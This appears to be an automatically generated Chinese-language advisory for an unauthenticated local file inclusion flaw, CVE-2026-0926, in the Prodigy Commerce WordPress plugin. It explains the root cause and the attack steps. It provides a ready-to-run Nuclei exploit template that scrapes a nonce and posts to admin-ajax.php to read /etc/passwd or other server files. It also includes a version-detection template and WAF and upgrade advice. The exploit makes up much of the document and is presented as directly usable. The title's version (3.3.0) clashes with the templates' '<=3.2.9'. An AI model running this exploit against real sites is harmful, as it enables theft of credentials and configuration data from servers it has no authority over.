[webapps] Prodigy Commerce 3.3.0 - Local File Inclusion

📋 漏洞基础信息

🔬 漏洞根因

漏洞因对'parameters[template_name]'参数缺乏充分过滤和验证，导致攻击者可通过该参数指定任意文件路径，结合'parameters[default_path]'参数控制基础路径，实现任意文件读取和执行。

🎯 攻击场景

1. 攻击者向目标WordPress站点发送GET请求获取页面HTML，通过正则提取JavaScript中settings对象的nonce值。2. 构造POST请求至/wp-admin/admin-ajax.php，参数包括action:prodigy-render-my-account-widget、nonce、parameters[template_name]为目标文件路径（如/etc/passwd）、parameters[default_path]为根目录/。3. 服务器处理请求，将目标文件内容包含到响应中。4. 攻击者解析JSON响应，从data.html字段获取文件内容。

💥 漏洞影响

未经身份验证的攻击者可读取服务器任意文件（如/etc/passwd、配置文件、数据库凭证），导致敏感信息泄露；若文件包含可执行代码，可能进一步升级为远程代码执行。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-0926-exploit

info:
  name: Prodigy Commerce <= 3.2.9 - Local File Inclusion Exploit
  author: diamorphine
  severity: high
  description: Exploits a local file inclusion vulnerability in Prodigy Commerce WordPress plugin <= 3.2.9, allowing unauthenticated attackers to read arbitrary files.
  reference:
    - https://www.exploit-db.com/exploits/5XXXX
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0926
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-0926
  metadata:
    max-request: 2
    vendor: prodigycommerce
    product: prodigy-commerce
    framework: wordpress
  tags: cve,cve2026,lfi,wordpress,wp-plugin,prodigy-commerce,unauth

variables:
  file: "/etc/passwd"

http:
  - raw:
      - |
        GET {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Connection: close

        action=prodigy-render-my-account-widget&nonce={{nonce}}&parameters%5Btemplate_name%5D={{file}}&parameters%5Bdefault_path%5D=%2F

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "html"
          - "root:"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'var settings\s*=\s*\{[^}]*"nonce":"([^"]+)"'

🔬 深度技术分析

1. get_nonce函数：发送GET请求至目标URL，使用正则'var settings\s*=\s*\{[^}]*"nonce":"([^"]+)"'提取nonce。2. main函数：构造POST数据包，action固定为prodigy-render-my-account-widget，nonce为刚提取的值，parameters[template_name]为攻击者指定的文件路径，parameters[default_path]设为根目录/。3. 使用httpx异步客户端发送POST请求，从返回的JSON中取出data.html字段并输出，即文件内容。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-0926-detection

info:
  name: Prodigy Commerce <= 3.2.9 - Local File Inclusion Detection
  author: diamorphine
  severity: high
  description: Detects if target is running a vulnerable version of Prodigy Commerce WordPress plugin (<= 3.2.9).
  reference:
    - https://www.exploit-db.com/exploits/5XXXX
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0926
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-0926
  metadata:
    max-request: 2
    vendor: prodigycommerce
    product: prodigy-commerce
    framework: wordpress
  tags: cve,cve2026,lfi,wordpress,wp-plugin,prodigy-commerce

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/prodigy-commerce/readme.txt"
      - "{{BaseURL}}/wp-content/plugins/prodigy-commerce/"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Prodigy Commerce"
          - "Stable tag: 3.2.9"
          - "Stable tag: 3.2.8"
          - "Stable tag: 3.2.7"
          - "Stable tag: 3.2.6"
          - "Stable tag: 3.2.5"
          - "Stable tag: 3.2.4"
          - "Stable tag: 3.2.3"
          - "Stable tag: 3.2.2"
          - "Stable tag: 3.2.1"
          - "Stable tag: 3.2.0"
        condition: or

      - type: word
        part: body
        words:
          - "prodigy-commerce"
          - "Prodigy Commerce"
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
          - 'Version: ([0-9.]+)'

🛡️ 修复建议

官方建议升级至3.3.0以上版本。临时缓解措施：在Web应用防火墙（WAF）中拦截包含prodigy-render-my-account-widget及parameters[template_name]的可疑POST请求；禁用或限制对/wp-admin/admin-ajax.php的未授权访问。

📎 参考链接

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0926
• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-30 08:14 | 来源: Exploit-DB